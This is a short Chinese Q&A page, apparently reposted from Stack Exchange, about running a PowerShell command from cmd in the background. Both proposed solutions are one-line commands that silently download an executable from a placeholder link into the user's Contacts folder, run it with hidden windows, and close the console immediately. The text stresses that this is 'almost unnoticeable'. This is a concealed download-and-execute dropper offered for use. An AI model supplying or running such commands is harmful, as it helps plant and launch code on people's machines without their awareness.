使用cmd /C命令无法在后台执行PowerShell脚本的问题
解决CMD命令后台运行并立即关闭窗口的问题
原命令的问题在于嵌套的PowerShell会在当前窗口输出下载进度,且整个命令链同步执行,导致窗口必须等待所有操作完成才会关闭。以下是两种修改方案,实现执行后CMD窗口立即关闭,后续下载和启动操作在后台完成:
方案一:优化嵌套CMD+PowerShell命令
start /MIN cmd /C "powershell -WindowStyle Hidden -Command ""Invoke-WebRequest -Uri 'link here' -OutFile '%USERPROFILE%\Contacts\file.exe' -UseBasicParsing; Start-Process '%USERPROFILE%\Contacts\file.exe'""" & exit
各参数作用:
start /MIN:启动最小化的CMD窗口,几乎不会被察觉powershell -WindowStyle Hidden:让PowerShell在完全隐藏的窗口运行,彻底屏蔽下载进度显示-UseBasicParsing:禁用IE解析引擎,减少冗余输出同时提升下载效率- PowerShell内用
;连接下载和启动命令,确保文件下载完成后再执行启动操作 - 末尾
& exit:让当前执行的CMD窗口立即退出
方案二:直接调用PowerShell(更简洁)
powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'link here' -OutFile '$env:USERPROFILE\Contacts\file.exe' -UseBasicParsing; Start-Process '$env:USERPROFILE\Contacts\file.exe'" & exit
这个方案跳过嵌套CMD,直接用隐藏窗口启动PowerShell执行任务,当前CMD窗口执行命令后会立刻关闭,所有后续操作在后台完成。
内容的提问来源于stack exchange,提问作者user18422940
相关产品推荐
相关产品推荐

